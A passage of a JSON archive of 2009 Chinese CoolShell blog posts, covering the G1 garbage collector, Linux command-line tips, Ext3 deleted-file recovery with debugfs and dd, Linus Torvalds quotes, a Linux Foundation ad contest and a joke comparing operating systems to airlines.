`-verbosegc` 。\n\n\n#### 状态\n\n\nG1 开发目前主要关注于解决一些残留的稳定性的问题，以及提高性能，并且去除下面的限制：\n\n\n* G1 并不完全支持 JVM Tool Interface (JVM TI) 或 Java Management Extensions (JMX)，所以，这些监控和管理工具无法正确地作用于G1。\n* G1 不支持增量的永生代collection。如果一个应用在卸载很多的类，因些需要很多的永生代Collection，目前的G1还不支持，不过最终版会支持。\n* 关于垃圾回收器的暂停时间，G1的表现比起CMS来说是时好时坏。所以，还有很多工作需要让G1的表现更加稳定，绝不能比CMS还差，不然G1还有什么意思呢？\n\n\n#### 相关资源\n\n\n* Description of HotSpot GCs: Memory Management in the Java HotSpot Virtual Machine White Paper: [http://java.sun.com/j2se/reference/whitepapers/memorymanagement\\_whitepaper.pdf](https://coolshell.cn/j2se/reference/whitepapers/memorymanagement_whitepaper.pdf)\n* The original CMS paper: Printezis, T. and Detlefs, D. 2000. A generational mostly-concurrent garbage collector. In *Proceedings of the 2nd international Symposium on Memory Management* (Minneapolis, Minnesota, United States, October 15 – 16, 2000). <http://portal.acm.org/citation.cfm?id=362422.362480> (requires access to ACM’s portal)\n* The original G1 paper: Detlefs, D., Flood, C., Heller, S., and Printezis, T. 2004. Garbage-first garbage collection. In Proceedings of the 4th international Symposium on Memory Management (Vancouver, BC, Canada, October 24 – 25, 2004). <http://portal.acm.org/citation.cfm?id=1029879> (requires access to ACM’s portal)\n* G1 talk from JavaOne 2008: <http://developers.sun.com/learning/javaoneonline/j1sessn.jsp?sessn=TS-5419&yr=2008>\n\n\n文章：[来源](http://java.sun.com/javase/technologies/hotspot/gc/g1_intro.jsp)\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](https://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html)\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\nThe post [G1新型垃圾回收器一瞥](https://coolshell.cn/articles/1252.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-8-13 你用Linux命令行吗？.md",
    "content": "---\nlayout: post\ntitle: 你用Linux命令行吗？\ndate: 2009/8/13/ 16:19:58\nupdated: 2009/8/13/ 16:19:58\nstatus: publish\npublished: true\ntype: post\n---\n\n想一想，如果你要把一个图片的尺寸改小一点，你会怎么办？当然，我一定会启动一个图形编辑软件，然后，打开图片文件，从菜单上选择相关的工具选项，更改大小，然后保存文件。就算是在Linux下，我可能也是这么干的，比如Ubuntu下也是这样，如下图：\n\n\n[![photo_gimp](../wp-content/uploads/2009/08/photo_gimp-290x300.png \"photo_gimp\")](https://coolshell.cn/wp-content/uploads/2009/08/photo_gimp.png)\n\n\n但其实，如果你用命令行来更改图片大小的话，一条语句就可以搞定了。如：\n\n\n\n```\n**convert -resize 300 profile.jpg profile\\_small.jpg**\n```\n\n当然，如果你要使用这样的命令，你需要安装[Imagemagick](http://www.imagemagick.org/script/index.php)，你可通过apt-get install imagemagick来安装一下。\n\n\n\n不管怎么说，很简单吧，下面还有几个：\n\n\n**1）给图片加阴影**\n\n\n给图片加阴影可以使用下面的这个命令：\n\n\n\n```\n**convert screenshot.jpg\n\\( +clone -background black -shadow 60×5+0+5 \\)\n+swap -background white -layers merge +repage shadow.jpg**\n```\n\n效果如下：\n\n\n[![screenshot-suse](../wp-content/uploads/2009/08/screenshot-suse.jpg \"screenshot-suse\")](https://coolshell.cn/wp-content/uploads/2009/08/screenshot-suse.jpg)[![shadow](../wp-content/uploads/2009/08/shadow.png \"shadow\")](https://coolshell.cn/wp-content/uploads/2009/08/shadow.png) \n\n\n**2）把两个MP3拼起来**\n\n\n\n```\n**cat 1.mp3 2.mp3 > combined.mp3**\n```\n\n**3）克隆一个硬盘设备**\n\n\n\n```\n**dd if=/dev/hda of=/dev/hdb**\n```\n\n**4）把ISO文件刻录光盘**\n\n\n\n```\n**cdrecord -v speed=8 dev=0,0,0 name\\_of\\_iso\\_file.iso**\n```\n\n**5）视频格式转换**\n\n\nAVI和Mpeg转换\n\n\n\n```\n**ffmpeg -i video\\_origine.avi video\\_finale.mpg\nffmpeg -i video\\_origine.mpg video\\_finale.avi**\n```\n\n查看这个[链接](http://www.catswhocode.com/blog/19-ffmpeg-commands-for-all-needs)，你可以看看ffmpeg可以干得更多。\n\n\n**6）替换文件中的文本**\n\n\n\n```\n**sed ’s/#FF0000/#0000FF/g’ main.css**\n```\n\n把main.css中的#FF0000(红色)替换成#0000FF（蓝色）\n\n\n \n\n\n如果你非常喜欢命令行的话，那么你一定要看一下下面这本书（免费在线）\n\n\nGNU/Linux命令行介绍：<http://en.flossmanuals.net/gnulinux>\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![28个Unix/Linux的命令行神器](../wp-content/uploads/2012/07/dstat_screenshot-150x150.png)](https://coolshell.cn/articles/7829.html)[28个Unix/Linux的命令行神器](https://coolshell.cn/articles/7829.html)\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\nThe post [你用Linux命令行吗？](https://coolshell.cn/articles/1256.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-8-14 恢复Ext3下被删除的文件.md",
    "content": "---\nlayout: post\ntitle: 恢复Ext3下被删除的文件\ndate: 2009/8/14/ 2:31:48\nupdated: 2009/8/14/ 2:31:48\nstatus: publish\npublished: true\ntype: post\n---\n\n 下面是这个教程将教你如何在Ext3的文件系统中恢复被rm掉的文件。\n\n\n假设我们有一个文件名叫 ‘test.txt’\n\n\n $ls -il test.txt  \n 15 -rw-rw-r– 2 root root 20 Apr 17 12:08 test.txt  \n \n注意：: “-il” 选项表示显示文件的i-node号（15），如果你不知道Unix/Linux文件系统的“I结点”的话，你有必要先补充一下相关的知识。简单说来，i结点就是操作管理文件的一个标识号。\n\n\n\n我们再看一下其内容：\n\n\n$ cat test.txt  \nthis is test file  \n\n好，现在我们开始删除文件：.\n\n\n$rm test.txt  \nrm: remove write-protected regular file `test.txt'? y</span></span></div>\n \n<h4>使用 Journal 和 Inode 号恢复</h4>\n注意，如果你删除文件后重启了系统，那么，相关的文件 journal 会丢失，我们也就无法恢复文件了。所以，恢复文件的前提是，Journal不能丢失，即，系统不能重启。\n\n因为我们已经知道 test.txt 文件的 inode 号是 15，所以我们可以使用 debugfs 命令来查看：\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">debugfs: logdump -i <15></span></span>\n<span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">FS block 1006 logged at sequence 404351, journal block 7241</span></span><br style=\"font-style: italic;\" /><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">(inode block for inode 15):</span></span><br style=\"font-style: italic;\" /><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">Inode: 15 Type: regular Mode: 0664 Flags: 0x0 Generation: 0</span></span><br style=\"font-style: italic;\" /><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">User: 0 Group: 0 Size: 20</span></span><br style=\"font-style: italic;\" /><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">File ACL: 0 Directory ACL: 0</span></span><br style=\"font-style: italic;\" /><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">Links: 1 Blockcount: 8</span></span><br style=\"font-style: italic;\" /><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">Fragment: Address: 0 Number: 0 Size: 0</span></span><br style=\"font-style: italic;\" /><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">ctime: 0x48159f2d -- Mon Apr 28 15:25:57 2008</span></span><br style=\"font-style: italic;\" /><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">atime: 0x48159f27 -- Mon Apr 28 15:25:51 2008</span></span><br style=\"font-style: italic;\" /><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">mtime: 0x4806f070 -- Thu Apr 17 12:08:40 2008</span></span><br style=\"font-style: italic;\" /><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">Blocks: (0+1): 10234</span></span><br style=\"font-style: italic;\" /><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">No magic number at block 7247: end of journal.</span></span><br style=\"font-style: italic;\" /></div>\n<span style=\"font-weight: bold;\">\n</span>请注意上面信息中的这一行：\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">Blocks: (0+1): 10234</span></span></div>\n这就是inode 15存放文件的地址（数据块）。然后，我们知道了这个地址，我们就可以使用 dd 命令，把这个地址上的数据给取出来。\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">#dd if=/dev/sda5 of=/tmp/test.txt bs=4096 count=1 skip= 10234</span></span><br style=\"font-style: italic;\" /><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">1+0 records in</span></span><br style=\"font-style: italic;\" /><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">1+0 records out</span></span><br style=\"font-style: italic;\" /></div>\n<ul>\n <li>if 是输入的设备</li>\n <li>of 是输出的设备.</li>\n <li>bs 指定一个block的大小</li>\n <li>count 说明有多少个block需要dump</li>\n <li>skip 说明从开始的地方跳过 10234 个block，并从取下一个block的数据</li>\n</ul>\n下面让我们看一下被恢复的文件：\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">$cat /tmp/test.txt </span></span><br style=\"font-style: italic;\" /><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">this is test file</span></span><br style=\"font-style: italic;\" /></div>\n<span style=\"font-weight: bold;\">\n</span>当然，上面的文件恢复是基于我们知道文件的inode，可在现实中，我们并不知道这个信息，如果我们不知道inode，我们还可能恢复吗？是的，这是可能的，让我们来看一下如何恢复。\n<h4>使用 Journal 和 文件名恢复</h4>\n如果我们不知道文件的inode我们可能恢复吗？我可以告诉你，这是不可能的事情。不过我们有办法知道文件的inode号。下面让我们来看看怎么做到：\n<div style=\"margin-left: 40px;\"><span style=\"font-weight: bold; font-style: italic;\">$rm mytest.txt</span><br style=\"font-weight: bold; font-style: italic;\" /><span style=\"font-weight: bold; font-style: italic;\">rm: remove write-protected regular file` .txt’? y  \n\n注意，我们并不知道其inode号，但我们可以使用 debugfs 命令来查看（使用其 ls -d 选项）。\n\n\ndebugfs:  ls -d  \n 2  (12) .    2  (12) ..    11  (20) lost+found    2347777  (20) oss  \n<2121567> (20) mytest.txt  \n\n你看文件名了吧，它的inode号是 <2121567> ，注意，被删除了的文件的inode都是用尖括号包起来的。\n\n\n即然知道了inode号，那么我们就很容易恢复了（使用 logdump选项）：\n\n\ndebugfs:  logdump -i <2121567>  \nInode 2121567 is at group 65, block 2129985, offset 3840  \nJournal starts at block 1, transaction 405642  \n  FS block 2129985 logged at sequence 405644, journal block 9  \n    (inode block for inode 2121567):  \n    Inode: 2121567   Type: bad type        Mode:  0000   Flags: 0x0   Generation: 0  \n    User:     0   Group:     0   Size: 0  \n    File ACL: 0    Directory ACL: 0  \n    Links: 0   Blockcount: 0  \n    Fragment:  Address: 0    Number: 0    Size: 0  \n    ctime: 0x00000000 — Thu Jan  1 05:30:00 1970  \n    atime: 0x00000000 — Thu Jan  1 05:30:00 1970  \n    mtime: 0x00000000 — Thu Jan  1 05:30:00 1970  \n    Blocks:  \n  FS block 2129985 logged at sequence 405648, journal block 64  \n    (inode block for inode 2121567):  \n    Inode: 2121567   Type: regular        Mode:  0664   Flags: 0x0   Generation: 913772093  \n    User:   100   Group:     0   Size: 31  \n    File ACL: 2130943    Directory ACL: 0  \n    Links: 1   Blockcount: 16  \n    Fragment:  Address: 0    Number: 0    Size: 0  \n    ctime: 0x4821d5d0 — Wed May  7 21:46:16 2008  \n    atime: 0x4821d8be — Wed May  7 21:58:46 2008  \n    mtime: 0x4821d5d0 — Wed May  7 21:46:16 2008  \n    Blocks:  (0+1): 2142216  \n\n上面有很多信息，让我们仔细地查看，你可以看到下面一行信息：\n\n\n FS block 2129985 logged at sequence 405644, journal block 9  \n\n并且，其类型是：\n\n\n Type: bad type   \n\n再仔细看一下文件的时间戳下面的Blocks: 什么也没有。那么，让我们看一下下一个block：\n\n\nFS block 2129985 logged at sequence 405648, journal block 64  \n    (inode block for inode 2121567):  \n\n这一条Journal就有block信息了：\n\n\nBlocks:  (0+1): 2142216\n这就是被删除文件的地址，让我们再次运行恢复命令：\n\n\n$sudo dd if=/dev/sda5 of=/home/hchen/mytest\\_recovered.txt bs=4096 skip=2142216 count=1  \n\n再让我们来检查一下文件内容：\n\n\n$ cat mytest\\_recovered.txt  \nthis is my test file   \n\n#### 小结\n\n\n好了，下面是我们的一些总结：  \n\n1)使用 debugfs: ls -d 找到被删除文件的inode号。  \n2)使用 debugfs:logdump找到文件的数据块地址。  \n3)使用dd 命令把数据取出来存成文件。\n\n\n网上有很其它不同的方法来恢复文件，基本上也是使用debugfs这个命令，有的还使用到了lsdel，其实大同小异，这个教程是我在网上看到的，虽然他说只是针对Ext3文件系统的，但我总感觉应该可以用于Ext2文件系统，不过我没有试过。也许Ext2和Ext3被debugfs输出的信息不一样吧。大家可以去试试。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员疫苗：代码注入](../wp-content/uploads/2012/12/200906020837401710-150x150.jpg)](https://coolshell.cn/articles/8711.html)[程序员疫苗：代码注入](https://coolshell.cn/articles/8711.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/1379.html)[如何调试bash脚本](https://coolshell.cn/articles/1379.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/424.html)[PDF电子书搜索引擎](https://coolshell.cn/articles/424.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/3649.html)[TDD并不是看上去的那么美](https://coolshell.cn/articles/3649.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\nThe post [恢复Ext3下被删除的文件](https://coolshell.cn/articles/1265.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-8-16 Linus Torvalds 语录 Top 10.md",
    "content": "---\nlayout: post\ntitle: Linus Torvalds 语录 Top 10\ndate: 2009/8/16/ 6:56:25\nupdated: 2009/8/16/ 6:56:25\nstatus: publish\npublished: true\ntype: post\n---\n\n![linus torvalds](../wp-content/uploads/2009/08/linus_torvalds_talking.jpg \"linus torvalds\")下面是Linux的创始人Linus Torvalds的一些言论，这是我个人认为最有意思的10句。如果你想看更多的Linus Torvalds说过的话，你可以看看他在维基百科上的词条：[Linux Torvalds](http://en.wikiquote.org/wiki/Linus_Torvalds)。我们在下面给出中英文对照，希望你能喜欢。\n\n\n\n> “Really, I’m not out to destroy Microsoft. That will just be a completely unintentional side effect ” （真的，我并不是想要干掉Microsoft，如果真是那样了，那完全是一个无意的副作用）——”The Way We Live Now: Questions for Linus Torvalds”, 接受《New York Times》的采访， 2003-09-28.\n> \n> \n\n\n\n> “Only wimps use tape backup: \\_real\\_ men just upload their important stuff on ftp, and let the rest of the world mirror it”（只有愚昧的人才会用磁带来做备份，真正聪明的人会上传他们最重要的东西到FTP服务器上，而剩下事情是，让世界各地的人来镜像这些东西）——(1996-07-20). [在linux.dev.kernel 新闻组上的一个贴子](http://groups.google.com/groups?selm=Pine.LNX.3.91.960720095713.20645F-100000%40linux.cs.Helsinki.FI \"http://groups.google.com/groups?selm=Pine.LNX.3.91.960720095713.20645F-100000%40linux.cs.Helsinki.FI\")\n> \n> \n\n\n\n\n> “Software is like sex; it’s better when it’s free.” （软件就像是性一样，仅当是自由的时候才会更好）—— 1996 的FSF 大会， [相关视频](http://www.argentilinux.com.ar/doku.php/linux_videos_documentales:the_code_linux \"http://www.argentilinux.com.ar/doku.php/linux_videos_documentales:the_code_linux\")。\n> \n> \n\n\n\n> “Is “I hope you all die a painful death” too strong?”（“我希望你们所有人在痛苦中死去”这句话是不是太强硬啦？）——这句话是，Linus是在拒绝某些硬件产商想在Linux的内核中植入特定的硬件处理程序，对那些硬件产商说的。\n> \n> \n\n\n\n> “Most days I wake up thinking I’m the luckiest bastard alive.”（很多天当我醒来的时候，我想到我是世界上最幸运的还活着的混蛋）—— Linus  Torvalds 和David Diamond (2001). *Just for Fun: The Story of an Accidental Revolutionary.*\n> \n> \n\n\n\n> “An infinite number of monkeys typing into GNU emacs would never make a good program.” （即使是无穷多个猴子在GNU的emacs中输入东西，那也不会写出一段好的程序）—— 出自 [Linux 1.3.53 编程风格](http://www.linuxhq.com/kernel/v1.3/53/Documentation/CodingStyle \"http://www.linuxhq.com/kernel/v1.3/53/Documentation/CodingStyle\")\n> \n> \n\n\n\n> “Talk is cheap. Show me the code.”（能说算不上什么，有本事就把你的代码给我看看）—— 2000-08-25， [给linux-kernel 邮件列表的一封邮件](http://lkml.org/lkml/2000/8/25/132 \"http://lkml.org/lkml/2000/8/25/132\")\n> \n> \n\n\n\n> “I’m a bastard. I have absolutely no clue why people can ever think otherwise. Yet they do. People think I’m a nice guy, and the fact is that I’m a scheming, conniving bastard who doesn’t care for any hurt feelings or lost hours of work, if it just results in what I consider to be a better system. And I’m not just saying that. I’m really not a very nice person. I can say “I don’t care” with a straight face, and really mean it.” （我是一个混蛋。我完全不知道人们为什么会从另外一个角度来看我，但是他们确实是（那么做的）。人们认为我是个好人，但事实上我是个诡计多端的混蛋，只要最终能得到我所认为的更好的系统，那么我对任何感情的伤害或工作时间的损失都不在乎。我并不只是（在口头上）说说而已，我真的不是一个很好的人。我能面无表情地说“我不在乎”，而且我确实不在乎。）—— 2000-09-06，[给 linux-kernel 邮件列表的邮件](http://lkml.org/lkml/2000/9/6/65 \"http://lkml.org/lkml/2000/9/6/65\")\n> \n> \n\n\n\n> “Those that can, do. Those that can’t, complain.”（那些能做的人就做，不能做的人就只会抱怨）——2003-09-23， [给Linux Kernel 邮件列表](http://kerneltrap.org/node/901 \"http://kerneltrap.org/node/901\") （注意：Linus只是借用了一下这个句型，这个引言的原创在[这里](http://shlomif.livejournal.com/39215.html)）\n> \n> \n\n\n\n> “You see. I don’t think any new thoughts. I think thoughts that other people have thought, and I rearrange them. But Sara, she thinks thoughts that never were before.”（您看，我没有任何新的想法。我的想法都是别人已经想过的，而我只是去重新组织一下别人的想法。但是莎拉不一样，她的想法是从来没有人想过的）—— 这是Linus给和他的母亲说起他的姐姐Sara。\n> \n> \n\n\n维基百科上的“[Linus Torvald 词条](http://en.wikiquote.org/wiki/Linus_Torvalds)”上有很多他的语录，你不妨去看看，你喜欢哪些呢？\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/9917.html)[Alan Cox：大教堂、市集与市议会](https://coolshell.cn/articles/9917.html)\n* [![Linus：利用二级指针删除单向链表](../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg)](https://coolshell.cn/articles/8990.html)[Linus：利用二级指针删除单向链表](https://coolshell.cn/articles/8990.html)\n* [![Unix传奇(上篇)](../wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg)](https://coolshell.cn/articles/2322.html)[Unix传奇(上篇)](https://coolshell.cn/articles/2322.html)\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\nThe post [Linus Torvalds 语录 Top 10](https://coolshell.cn/articles/1278.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-8-16 Linux基金会的广告.md",
    "content": "---\nlayout: post\ntitle: Linux基金会的广告\ndate: 2009/8/16/ 6:0:48\nupdated: 2009/8/16/ 6:0:48\nstatus: publish\npublished: true\ntype: post\n---\n\n**今年早些时候，Linux基金会发起了一项面向制作人和一般Linux爱好者的活动，创造60秒创意的广告并评奖。**\n\n\nLinux基金会并没有苹果和微软这样大的投入来聘请大腕，但这次评选出来的好广告却一点也不输于他们，Linux社团的参与力和灵感可见一斑。**本次活动获胜的奖品是免费前往东京参与Linux专题研讨会，评奖结果是：**\n\n\n第一：“[What does it mean to be free?](http://video.linuxfoundation.org/video/1106 \"What does it mean to be free?\")”  \n\n第二：“[The Origin,](http://video.linuxfoundation.org/video/1262 \"The Origin\")”  \n\n第三：“[Linux pub](http://video.linuxfoundation.org/video/1154 \"Linux pub\")”\n\n\n 下面是广告片的视频\n\n\n\n#### What does it mean to be free?\n\n\n  \n\n \n\n\n#### The Origin (起源)\n\n\n\n#### Linux Pub\n\n\n下面的视频需要你能够访问YouTube（你可以上Google搜索如何访问YouTube的方法）  \n\n\n\n\n还有很多很不错的作品，比如：\n\n\n* [The Future is Open](http://video.linuxfoundation.org/video/1271)\n* [Challenges at the Office](http://video.linuxfoundation.org/video/1261)\n\n\n更多的视频，你可以上Linux基金会的网站上看看，也一样地非常地有创意。\n\n\n<http://video.linuxfoundation.org/category/video-category/-linux-foundation-video-contest>\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\nThe post [Linux基金会的广告](https://coolshell.cn/articles/1283.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-8-16 操作系统航空公司.md",
    "content": "---\nlayout: post\ntitle: 操作系统航空公司\ndate: 2009/8/16/ 4:54:24\nupdated: 2009/8/16/ 4:54:24\nstatus: publish\npublished: true\ntype: post\n---\n\n![Linux 航空公司](../wp-content/uploads/2009/08/linux_airline.jpg \"Linux 航空公司\") 我们知道，不同的操作系统有不同的系统，不同的风格，那么，如果操作系统和航空公司，会是怎么样的一种情况？让我们尝试地来做这样一个幽默的类比，把操作系统的特点带到航空公司，让我们看看会是怎么样的一个情况。\n\n\n**UNIX Airways**\n\n\nUnix航空公司需要每一个人在乘机的时候带上一个飞机零件，他们会在飞机跑道上把飞机的这些零件一片一片地组装起来，然后，在不停地争论着倒底是要建造什么样的飞机。是AIX，还是Solaris？是FreeBSD还是HP-UX？……\n\n\n**Air DOS**\n\n\nDOS 航空公司的飞机需要每一位乘客在后面推飞机直到飞机开始滑行，然后他们跳上飞机并且跟着飞机一起沿着海岸滑行直至飞机再次掉到地面，然后乘客们再次推动飞机，然后跳上飞，如此循环不止……\n\n\n\n**Mac Airlines**\n\n\nMac航空公司中，所有的乘务员，机长，行李搬运工，和机票代理无论是看上去还是行为上都是完全一致的。每次当你询问细节的时候，他们都会很绅士地但很坚定地告诉你，你不需要知道那么多的细节，也没有必要知道，所有一切的事情都已经在你不需要知道的情况下完成了，所以，你只需要shut up。\n\n\n**Windows Air**\n\n\nWindows航空公司的航站楼是那么的漂亮和多彩，并且有非常友好的乘务员，相当简单的行李和乘机手续，同样平滑的离站程序。但是，当飞机起飞10分钟后，通常飞机会在没有任何警告的情况下就爆炸了。\n\n\n**Windows NT Air**\n\n\nWindows NT航空公司和Windows航空公司一样，但是他的成本更高，使用更大型的飞机，并且当其爆炸的时候，你可以换乘在40英里半径内的其它飞行器。\n\n\n**Windows XP Air**\n\n\n您所在的这个机场，根据合同，只允许乘坐XP的航空飞机。所有的飞机是相同的，明亮的色彩，以及比原来的需要大3倍。XP航空公司的标志是巨大的，并都指向相同的方向。无论你走哪一条路，有些身穿斗篷和戴着尖角帽子的人会坚持地跟着你走。你的行李和衣物都会被拿走并被XP航空套装和相同的XP手提箱所取代，你周围的人都和你有一样套装和手提箱，当然，这些东西的成本都会包含在机票中。如果你不签合，飞机不会起飞。飞机途中的娱乐表演承诺和实际是一样的，那就是米老鼠动画片会一遍一遍地播放。在你需要吃东西喝饮料的前，你不得不先打电话给你的旅行社。在整个航行过程中你都被会搜索。如果你去厕所两次以上，你得再补一张票。无论你所预订的目的地是哪里，你永远都会最终被迫降在加拿大的惠斯勒（Whistler）。\n**OS X Air**\n\n\n你进入了一个白色的航站楼，你所能看到的是一个坐在角落白桌子后面的一位女士，你走上去取你的机票。她微笑地对你说，“欢迎乘座OS X航空公司，请您允许我给您照张相”，她一边指向了在墙上你没注意到的已经给你拍了照的照相机，一边对你说，“谢谢，这是您的机票”。一张最少上面有你照片的机票被递到了你的手上，上面已经有了你所有的信息。你右边的一扇门打开了，你走了进去，你看到了一个很宽敞的空间，只有一个座位在中间，你坐下，听着音乐，看着电影，直到飞行结束。你自始至终都不会看到其它的乘客。当你登陆下机的时候，你对你自己说：“哇，这确实相当的好啊，但感觉好像少了些什么”。\n\n\n**Windows Vista 